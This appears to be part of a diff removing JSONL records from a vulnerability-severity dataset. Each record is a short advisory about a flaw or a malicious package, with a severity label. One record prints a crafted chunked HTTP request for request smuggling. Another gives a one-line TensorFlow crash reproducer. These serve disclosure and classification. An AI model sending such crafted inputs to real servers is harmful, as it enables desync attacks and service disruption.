"split": "train"}
-{"id": "6c563a8169c6f44127a0", "text": "Integer Overflow in Chunked Transfer-Encoding\n\n### Summary\n\nhyper's HTTP server and client code had a flaw that could trigger an integer overflow when decoding chunk sizes that are too big. This allows possible data loss, or if combined with an upstream HTTP proxy that allows chunk sizes larger than hyper does, can result in \"request smuggling\" or \"desync attacks\".\n\n### Vulnerability\n\nExample:\n\n```\nGET / HTTP/1.1\nHost: example.com\nTransfer-Encoding: chunked\n\nf0000000000000003\nabc\n0\n\n```\n\nhyper only reads the rightmost 64-bit integer as the chunk size. So it reads `f0000000000000003` as `3`. A loss of data can occur since hyper would then read only 3 bytes of the body. Additionally, an HTTP request smuggling vulnerability would occur if using a proxy which instead has prefix truncation in the chunk size, or that understands larger than 64-bit chunk sizes.\n\nRead more about desync attacks: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn\n\n### Impact\n\nTo determine if vulnerable to _data loss_, these things must be true:\n\n- **Using HTTP/1.1.** Since HTTP/2 does not use chunked encoding, it is not vulnerable.\n- **Using hyper as a server or client.** The body would be improperly truncated in either case.\n- **Users send requests or responses with chunk sizes greater than 18 exabytes**.\n\nTo determine if vulnerable to _desync attacks_, these things must be true:\n\n- **Using an upstream proxy that allows chunks sizes larger than 64-bit.** If the proxy rejects chunk sizes that are too large, that request won't be forwarded to hyper.\n\n### Patches\n\nWe have released the following patch versions:\n\n- v0.14.10 (to be released when this advisory is published)\n\n### Workarounds\n\nBesides upgrading hyper, you can take the following options:\n\n- Reject requests manually that contain a `Transfer-Encoding` header.\n- Ensure any upstream proxy rejects `Transfer-Encoding` chunk sizes greater than what fits in 64-bit unsigned integers.\n\n### Credits\nThis issue was initially reported by [Mattias Grenfeldt](https://grenfeldt.dev/) and Asta Olofsson.", "text_raw": "Integer Overflow in Chunked Transfer-Encoding\n\n[Severity: MEDIUM]\n\n### Summary\n\nhyper's HTTP server and client code had a flaw that could trigger an integer overflow when decoding chunk sizes that are too big. This allows possible data loss, or if combined with an upstream HTTP proxy that allows chunk sizes larger than hyper does, can result in \"request smuggling\" or \"desync attacks\".\n\n### Vulnerability\n\nExample:\n\n```\nGET / HTTP/1.1\nHost: example.com\nTransfer-Encoding: chunked\n\nf0000000000000003\nabc\n0\n\n```\n\nhyper only reads the rightmost 64-bit integer as the chunk size. So it reads `f0000000000000003` as `3`. A loss of data can occur since hyper would then read only 3 bytes of the body. Additionally, an HTTP request smuggling vulnerability would occur if using a proxy which instead has prefix truncation in the chunk size, or that understands larger than 64-bit chunk sizes.\n\nRead more about desync attacks: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn\n\n### Impact\n\nTo determine if vulnerable to _data loss_, these things must be true:\n\n- **Using HTTP/1.1.** Since HTTP/2 does not use chunked encoding, it is not vulnerable.\n- **Using hyper as a server or client.** The body would be improperly truncated in either case.\n- **Users send requests or responses with chunk sizes greater than 18 exabytes**.\n\nTo determine if vulnerable to _desync attacks_, these things must be true:\n\n- **Using an upstream proxy that allows chunks sizes larger than 64-bit.** If the proxy rejects chunk sizes that are too large, that request won't be forwarded to hyper.\n\n### Patches\n\nWe have released the following patch versions:\n\n - v0.14.10 (to be released when this advisory is published)\n\n### Workarounds\n\nBesides upgrading hyper, you can take the following options:\n\n- Reject requests manually that contain a `Transfer-Encoding` header.\n- Ensure any upstream proxy rejects `Transfer-Encoding` chunk sizes greater than what fits in 64-bit unsigned integers.\n\n\n### Credits\nThis issue was initially reported by [Mattias Grenfeldt](https://grenfeldt.dev/) and Asta Olofsson.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-12", "split": "train"}
-{"id": "04c915a802e959e700ac", "text": "Code injection in port-killer\n\nThis affects all versions of package port-killer. If (attacker-controlled) user input is given, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization. Running this PoC will cause the command touch success to be executed, leading to the creation of a file called success.", "text_raw": "Code injection in port-killer\n\n[Severity: HIGH]\n\nThis affects all versions of package port-killer. If (attacker-controlled) user input is given, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization. Running this PoC will cause the command touch success to be executed, leading to the creation of a file called success.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "c130155f020d9da64c5d", "text": "Malicious Package in hsf-clients\n\nAll versions of `hsf-clients` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in hsf-clients\n\n[Severity: CRITICAL]\n\nAll versions of `hsf-clients` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "a75727f681ba1acd3e81", "text": "Nokogiri implementation of libxslt lacks integer overflow checks\n\nThe xsltAddTextString function in transform.c in libxslt 1.1.29, as used in Nokogiri prior to 1.7.2, lacked a check for integer overflow during a size calculation, which allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page.", "text_raw": "Nokogiri implementation of libxslt lacks integer overflow checks\n\n[Severity: HIGH]\n\nThe xsltAddTextString function in transform.c in libxslt 1.1.29, as used in Nokogiri prior to 1.7.2, lacked a check for integer overflow during a size calculation, which allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-31", "split": "train"}
-{"id": "726b7f0b02be6422232f", "text": "NULL Pointer Dereference in cbox\n\nAn issue was discovered in the cbox crate through 2020-03-19 for Rust. The CBox API allows dereferencing raw pointers without a requirement for unsafe code.", "text_raw": "NULL Pointer Dereference in cbox\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the cbox crate through 2020-03-19 for Rust. The CBox API allows dereferencing raw pointers without a requirement for unsafe code.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "8b6f6d38468b5cce6996", "text": "Malicious Package in bcion\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bcion\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "989aab91af06043b4d91", "text": "EmbedThis GoAhead Web Server 5.1.1 Digest Authentication Capture Replay Nonce Reuse", "text_raw": "EmbedThis GoAhead Web Server 5.1.1 Digest Authentication Capture Replay Nonce Reuse\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2020-10-06", "split": "train"}
-{"id": "57a92d81a302da473a99", "text": "Activerecord-session_store Vulnerable to Timing Attack\n\nThe `activerecord-session_store` (aka Active Record Session Store) component through 1.1.3 for Ruby on Rails does not use a constant-time approach when delivering information about whether a guessed session ID is valid. Consequently, remote attackers can leverage timing discrepancies to achieve a correct guess in a relatively short amount of time. This is a related issue to CVE-2019-16782.\n\n## Recommendation\n\nThis has been fixed in version 2.0.0.  All users are advised to update to this version or later.", "text_raw": "Activerecord-session_store Vulnerable to Timing Attack\n\n[Severity: MEDIUM]\n\nThe `activerecord-session_store` (aka Active Record Session Store) component through 1.1.3 for Ruby on Rails does not use a constant-time approach when delivering information about whether a guessed session ID is valid. Consequently, remote attackers can leverage timing discrepancies to achieve a correct guess in a relatively short amount of time. This is a related issue to CVE-2019-16782. \n\n## Recommendation\n\nThis has been fixed in version 2.0.0.  All users are advised to update to this version or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-09", "split": "train"}
-{"id": "f4a213875ce796847946", "text": "Pointter PHP Content Management System 1.2 Multiple Vulnerabilities", "text_raw": "Pointter PHP Content Management System 1.2 Multiple Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-03-16", "split": "train"}
-{"id": "309574a118eabf960083", "text": "Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability\n\nAffected: Microsoft Internet Explorer\n\nMicrosoft Internet Explorer contains a memory corruption vulnerability due to how the Scripting Engine handles objects in memory, leading to remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability\n\nAffected: Microsoft Internet Explorer\n\nMicrosoft Internet Explorer contains a memory corruption vulnerability due to how the Scripting Engine handles objects in memory, leading to remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "937ed97352bd5e898c8f", "text": "auth0-js Privilege Escalation Vulnerability\n\nA cross-origin vulnerability has been discovered in the Auth0 auth0.js library affecting versions &lt; 8.12. This vulnerability allows an attacker to acquire authenticated users' tokens and invoke services on a user's behalf if the target site or application uses a popup callback page with `auth0.popup.callback()`.", "text_raw": "auth0-js Privilege Escalation Vulnerability\n\n[Severity: HIGH]\n\nA cross-origin vulnerability has been discovered in the Auth0 auth0.js library affecting versions &lt; 8.12. This vulnerability allows an attacker to acquire authenticated users' tokens and invoke services on a user's behalf if the target site or application uses a popup callback page with `auth0.popup.callback()`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-12-21", "split": "train"}
-{"id": "7fb4680f5ddb4fecaee0", "text": "Denial of Service in @hapi/accept\n\nVersions of `@hapi/accept` prior to 3.2.4 or 5.0.1 are vulnerable to Denial of Service. The Accept-Encoding HTTP header parser has a vulnerability which will cause the function to throw a system error if the header contains some invalid values. Because hapi rethrows system errors (as opposed to catching expected application errors), the error is thrown all the way up the stack. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n## Recommendation\n\nUpgrade to version 3.2.4 or 5.0.1.", "text_raw": "Denial of Service in @hapi/accept\n\n[Severity: HIGH]\n\nVersions of `@hapi/accept` prior to 3.2.4 or 5.0.1 are vulnerable to Denial of Service. The Accept-Encoding HTTP header parser has a vulnerability which will cause the function to throw a system error if the header contains some invalid values. Because hapi rethrows system errors (as opposed to catching expected application errors), the error is thrown all the way up the stack. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n\n## Recommendation\n\nUpgrade to version 3.2.4 or 5.0.1.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "c3650c2fb665aea6ec28", "text": "Integer underflow in untrusted\n\nA mistake in error handling in untrusted before 0.6.2 could lead to an integer underflow and panic if a user of the crate didn't properly check for errors returned by untrusted. Combination of these two programming errors (one in untrusted and another by user of this crate) could lead to a panic and maybe a denial of service of affected software. The error in untrusted is fixed in release 0.6.2 released 2018-06-21. It's also advisable that users of untrusted check for their sources for cases where errors returned by untrusted are not handled correctly.", "text_raw": "Integer underflow in untrusted\n\n[Severity: HIGH]\n\nA mistake in error handling in untrusted before 0.6.2 could lead to an integer underflow and panic if a user of the crate didn't properly check for errors returned by untrusted. Combination of these two programming errors (one in untrusted and another by user of this crate) could lead to a panic and maybe a denial of service of affected software. The error in untrusted is fixed in release 0.6.2 released 2018-06-21. It's also advisable that users of untrusted check for their sources for cases where errors returned by untrusted are not handled correctly.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "4c7dd6788ec2db5a5bc2", "text": "Memory exhaustion in routinator\n\nNLnet Labs Routinator versions 0.9.0 up to and including 0.10.1, support the gzip transfer encoding when querying RRDP repositories. This encoding can be used by an RRDP repository to cause an out-of-memory crash in these versions of Routinator. RRDP uses XML which allows arbitrary amounts of white space in the encoded data. The gzip scheme compresses such white space extremely well, leading to very small compressed files that become huge when being decompressed for further processing, big enough that Routinator runs out of memory when parsing input data waiting for the next XML element.", "text_raw": "Memory exhaustion in routinator\n\n[Severity: HIGH]\n\nNLnet Labs Routinator versions 0.9.0 up to and including 0.10.1, support the gzip transfer encoding when querying RRDP repositories. This encoding can be used by an RRDP repository to cause an out-of-memory crash in these versions of Routinator. RRDP uses XML which allows arbitrary amounts of white space in the encoded data. The gzip scheme compresses such white space extremely well, leading to very small compressed files that become huge when being decompressed for further processing, big enough that Routinator runs out of memory when parsing input data waiting for the next XML element.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-11", "split": "train"}
-{"id": "ab0a03f3149d28ee4b68", "text": "Dragonfly Code Injection vulnerability\n\nThe Dragonfly gem 0.7 before 0.8.6 and 0.9.x before 0.9.13 for Ruby, when used with Ruby on Rails, allows remote attackers to execute arbitrary code via a crafted request.", "text_raw": "Dragonfly Code Injection vulnerability\n\n[Severity: HIGH]\n\nThe Dragonfly gem 0.7 before 0.8.6 and 0.9.x before 0.9.13 for Ruby, when used with Ruby on Rails, allows remote attackers to execute arbitrary code via a crafted request.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "abebef92d6a3ac00becc", "text": "Weak Password Recovery Mechanism for Forgotten Password\n\nIn “Dolibarr” application, v2.8.1 to v13.0.2 are vulnerable to account takeover via password reset functionality. A low privileged attacker can reset the password of any user in the application using the password reset link the user received through email when requested for a forgotten password.", "text_raw": "Weak Password Recovery Mechanism for Forgotten Password\n\n[Severity: HIGH]\n\nIn “Dolibarr” application, v2.8.1 to v13.0.2 are vulnerable to account takeover via password reset functionality. A low privileged attacker can reset the password of any user in the application using the password reset link the user received through email when requested for a forgotten password.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "9999bd98b1fdd7a6b565", "text": "SQL Injection in Active Record\n\nSQL injection vulnerability in activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb in the PostgreSQL adapter for Active Record in Ruby on Rails 2.x and 3.x before 3.2.19 allows remote attackers to execute arbitrary SQL commands by leveraging improper bitstring quoting.", "text_raw": "SQL Injection in Active Record\n\n[Severity: HIGH]\n\nSQL injection vulnerability in activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb in the PostgreSQL adapter for Active Record in Ruby on Rails 2.x and 3.x before 3.2.19 allows remote attackers to execute arbitrary SQL commands by leveraging improper bitstring quoting.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "fa7e8bb4ace5c1bd867c", "text": "Microsoft Windows MSHTML Platform Remote Code Execution Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows MSHTML Platform contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787, CWE-823\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows MSHTML Platform Remote Code Execution Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows MSHTML Platform contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787, CWE-823\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "3522c3cc6ad4327d34f1", "text": "SOCA Access Control System 180612 Information Disclosure", "text_raw": "SOCA Access Control System 180612 Information Disclosure\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2019-05-13", "split": "train"}
-{"id": "b108401fba62871e8491", "text": "Crash in `tf.transpose` with complex inputs\n\n### Impact\nPassing a complex argument to `tf.transpose` at the same time as passing `conjugate=True` argument results in a crash:\n\n```python \nimport tensorflow as tf\ntf.transpose(conjugate=True, a=complex(1))\n```\n\n### Patches\nWe have received a patch for the issue in GitHub commit [1dc6a7ce6e0b3e27a7ae650bfc05b195ca793f88](https://github.com/tensorflow/tensorflow/commit/1dc6a7ce6e0b3e27a7ae650bfc05b195ca793f88).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported in [#42105](https://github.com/tensorflow/issues/42105) and fixed in [#46973](https://github.com/tensorflow/issues/46973).", "text_raw": "Crash in `tf.transpose` with complex inputs\n\n[Severity: LOW]\n\n### Impact\nPassing a complex argument to `tf.transpose` at the same time as passing `conjugate=True` argument results in a crash:\n\n```python \nimport tensorflow as tf\ntf.transpose(conjugate=True, a=complex(1))\n```\n\n### Patches\nWe have received a patch for the issue in GitHub commit [1dc6a7ce6e0b3e27a7ae650bfc05b195ca793f88](https://github.com/tensorflow/tensorflow/commit/1dc6a7ce6e0b3e27a7ae650bfc05b195ca793f88).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported in [#42105](https://github.com/tensorflow/issues/42105) and fixed in [#46973](https://github.com/tensorflow/issues/46973).", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "1916eb5c041fe9927648", "text": "Buffer Overflow in centra\n\n## Denial of Service\n\n### Impact\n\nAffected Centra versions will, when not in stream mode, buffer responses to requests into memory with no size limit. This issue affects anyone requesting content from untrusted sources.\n\n### Patches\n\nVersion 2.4.0 resolves the issue by limiting the size of buffered response body.\n\n### Workarounds\n\nAttempting workarounds isn't recommended. Updating is preferred.\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [ethanent/centra](https://github.com/ethanent/centra).", "text_raw": "Buffer Overflow in centra\n\n[Severity: HIGH]\n\n## Denial of Service\n\n### Impact\n\nAffected Centra versions will, when not in stream mode, buffer responses to requests into memory with no size limit. This issue affects anyone requesting content from untrusted sources.\n\n### Patches\n\nVersion 2.4.0 resolves the issue by limiting the size of buffered response body.\n\n### Workarounds\n\nAttempting workarounds isn't recommended. Updating is preferred.\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [ethanent/centra](https://github.com/ethanent/centra).\n\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-09-30", "split": "train"}
-{"id": "f776ea2ff8985dde98d0", "text": "Topydo Improper Input Validation vulnerability\n\ntopydo contains a CWE-20: Improper Input Validation vulnerability in `ListFormatParser::parse`, file `topydo/lib/ListFormat.py` line 292 as of d4f843dac71308b2f29a7c2cdc76f055c3841523 that can result in Injection of arbitrary bytes to the terminal, including terminal escape code sequences. This attack appear to be exploitable via The victim must open a todo.txt with at least one specially crafted line.", "text_raw": "Topydo Improper Input Validation vulnerability\n\n[Severity: HIGH]\n\ntopydo contains a CWE-20: Improper Input Validation vulnerability in `ListFormatParser::parse`, file `topydo/lib/ListFormat.py` line 292 as of d4f843dac71308b2f29a7c2cdc76f055c3841523 that can result in Injection of arbitrary bytes to the terminal, including terminal escape code sequences. This attack appear to be exploitable via The victim must open a todo.txt with at least one specially crafted line.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-09-13", "split": "train"}
-{"id": "92dbfbb301f639b3f081", "text": "Incorrect TCR calculation in batchLiquidateTroves() during Recovery Mode\n\nTCR is temporarily miscalculated in the `batchLiquidateTroves` function during Recovery Mode.\n\nThe bug lies in [`batchLiquidateTroves` of `TroveManager`](https://github.com/liquity/dev/blob/7c83ea11378454629618b3808b16fbfda69ee3e5/packages/contracts/contracts/TroveManager.sol#L722).\n\nWhen calculating system's entire collateral, we should also exclude the liquidated trove's surplus collateral, since liquidation closes the trove and makes the surplus collateral claimable by the trove owner. This means, this line of code should look like this: \n```\nvars.entireSystemColl = vars.entireSystemColl.sub(singleLiquidation.collToSendToSP).sub(singleLiquidation.collSurplus);\n```\n### Impact\n\nThe miscalculated entire collateral is used only to calculate the TCR and check if the system has been able to exit Recovery Mode. The miscalulation only persists temporarily, and within the`batchLiquidateTroves` transaction. Once the transaction completes the TCR and Recovery Mode will be calculated properly again. However, the bug could negatively impact the liquidation throughput and the gas efficiency gains from batching multiple liquidations in a single transaction.\n\nIn normal situations, the impact of the collateral surplus of a Trove on the global TCR would be tiny. For instance, we have calculated that liquidating a trove with a collateral representing 1% of the total system collateral (so in the order of at least $10M at current values), would lead to an extra 0.53% in the temporary miscalculation of TCR. So for this bug to be meaningful, in such a scenario, the resulting real TCR must be already be very close to the Recovery Mode boundary anyway - i.e. between 149.47% and 150%. The batch liquidation transaction should also be executed with a particular trove ordering to achieve the TCR distortion. When a different trove order for the liquidation transaction is selected, the bug has no impact. In summary, the bug only has a non-negligible impact in a very narrow, specific set of circumstances.\n\nThe potential effects of the bug after it occurs are:\n\n- The next trove in the sequence is not liquidated because the `batchLiquidateTroves` function calculates a premature exit from Recovery Mode. It could be liquidated in a subsequent transaction if the price of Ether doesn’t recover.\n- The next trove in the sequence has an ICR below 100% and it’s offset against the Stability Pool instead of redistributed among other troves because the function calculates a premature exit from Recovery Mode. For this to happen, the Ether price must have instantly plummeted by more than 10% (otherwise, the trove would have been already liquidated before).\n- The next trove in the sequence is liquidated while its ICR is over the real TCR: the function calculates the TCR as being slightly too high, and thus can liquidate a trove that has ICR less than the calculated TCR, but greater than the true TCR. This is probably the worst outcome - however it is already possible to achieve the same effect, regardless of the bug.  A liquidator can craft a `batchLiquidateTroves` transaction whereby they select troves for liquidation such that the TCR increases and makes a given trove liquidateable. To liquidate trove A, they can order troves such that they first liquidate troves which raise the TCR to between A's ICR and 150%. This is intended and expected behavior. As clearly stated in Liquity documentation, to be completely safe and guarantee immunity from liquidation in Recovery Mode, borrowers should keep their ICR above 150%.\n\nWe don't believe this bug creates a profitable exploit. Theoretically, and only in a very narrow set of circumstances, a liquidator could try to send a batch liquidation during Recovery Mode that lets the system very temporarily return to Normal Mode earlier than it should. In that case - _and only if the Ether price also happens to suddenly plummet by more than 10%_ - stability providers might take the haircut that should be taken by the borrowers (through redistribution).\n\n###", "text_raw": "Incorrect TCR calculation in batchLiquidateTroves() during Recovery Mode\n\n[Severity: LOW]\n\nTCR is temporarily miscalculated in the `batchLiquidateTroves` function during Recovery Mode.\n\nThe bug lies in [`batchLiquidateTroves` of `TroveManager`](https://github.com/liquity/dev/blob/7c83ea11378454629618b3808b16fbfda69ee3e5/packages/contracts/contracts/TroveManager.sol#L722). \n\nWhen calculating system's entire collateral, we should also exclude the liquidated trove's surplus collateral, since liquidation closes the trove and makes the surplus collateral claimable by the trove owner. This means, this line of code should look like this: \n```\nvars.entireSystemColl = vars.entireSystemColl.sub(singleLiquidation.collToSendToSP).sub(singleLiquidation.collSurplus);\n```\n### Impact\n\nThe miscalculated entire collateral is used only to calculate the TCR and check if the system has been able to exit Recovery Mode. The miscalulation only persists temporarily, and within the`batchLiquidateTroves` transaction. Once the transaction completes the TCR and Recovery Mode will be calculated properly again. However, the bug could negatively impact the liquidation throughput and the gas efficiency gains from batching multiple liquidations in a single transaction.\n\nIn normal situations, the impact of the collateral surplus of a Trove on the global TCR would be tiny. For instance, we have calculated that liquidating a trove with a collateral representing 1% of the total system collateral (so in the order of at least $10M at current values), would lead to an extra 0.53% in the temporary miscalculation of TCR. So for this bug to be meaningful, in such a scenario, the resulting real TCR must be already be very close to the Recovery Mode boundary anyway - i.e. between 149.47% and 150%. The batch liquidation transaction should also be executed with a particular trove ordering to achieve the TCR distortion. When a different trove order for the liquidation transaction is selected, the bug has no impact. In summary, the bug only has a non-negligible impact in a very narrow, specific set of circumstances.\n\nThe potential effects of the bug after it occurs are:\n\n- The next trove in the sequence is not liquidated because the `batchLiquidateTroves` function calculates a premature exit from Recovery Mode. It could be liquidated in a subsequent transaction if the price of Ether doesn’t recover.\n- The next trove in the sequence has an ICR below 100% and it’s offset against the Stability Pool instead of redistributed among other troves because the function calculates a premature exit from Recovery Mode. For this to happen, the Ether price must have instantly plummeted by more than 10% (otherwise, the trove would have been already liquidated before).\n- The next trove in the sequence is liquidated while its ICR is over the real TCR: the function calculates the TCR as being slightly too high, and thus can liquidate a trove that has ICR less than the calculated TCR, but greater than the true TCR. This is probably the worst outcome - however it is already possible to achieve the same effect, regardless of the bug.  A liquidator can craft a `batchLiquidateTroves` transaction whereby they select troves for liquidation such that the TCR increases and makes a given trove liquidateable. To liquidate trove A, they can order troves such that they first liquidate troves which raise the TCR to between A's ICR and 150%. This is intended and expected behavior. As clearly stated in Liquity documentation, to be completely safe and guarantee immunity from liquidation in Recovery Mode, borrowers should keep their ICR above 150%.\n\nWe don't believe this bug creates a profitable exploit. Theoretically, and only in a very narrow set of circumstances, a liquidator could try to send a batch liquidation during Recovery Mode that lets the system very temporarily return to Normal Mode earlier than it should. In that case - _and only if the Ether price also happens to suddenly plummet by more than 10%_ - stability providers might take the haircut that should be taken by the borrowers (through red", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-08-05", "split": "train"}
-{"id": "fe773fe02b216e63b18a", "text": "Insecure Deserialization in Apache XML-RPC\n\nAn untrusted deserialization was found in the org.apache.xmlrpc.parser.XmlRpcResponseParser:addResult method of Apache XML-RPC (aka ws-xmlrpc) library. A malicious XML-RPC server could target a XML-RPC client causing it to execute arbitrary code.\n\nApache XML-RPC is no longer maintained and this issue will not be fixed.", "text_raw": "Insecure Deserialization in Apache XML-RPC\n\n[Severity: CRITICAL]\n\nAn untrusted deserialization was found in the org.apache.xmlrpc.parser.XmlRpcResponseParser:addResult method of Apache XML-RPC (aka ws-xmlrpc) library. A malicious XML-RPC server could target a XML-RPC client causing it to execute arbitrary code.\n\nApache XML-RPC is no longer maintained and this issue will not be fixed.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-06-10", "split": "train"}
-{"id": "402672a7959b30536377", "text": "Malicious Package in babel-loadre\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in babel-loadre\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "703c4a2da323a9674f85", "text": "Allocation of Resources Without Limits or Throttling in HashiCorp Nomad\n\nHashiCorp Nomad and Nomad Enterprise before 0.10.3 allow unbounded resource usage.\n\n### Specific Go Packages Affected\ngithub.com/hashicorp/nomad/command/agent", "text_raw": "Allocation of Resources Without Limits or Throttling in HashiCorp Nomad\n\n[Severity: HIGH]\n\nHashiCorp Nomad and Nomad Enterprise before 0.10.3 allow unbounded resource usage.\n\n### Specific Go Packages Affected\ngithub.com/hashicorp/nomad/command/agent", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
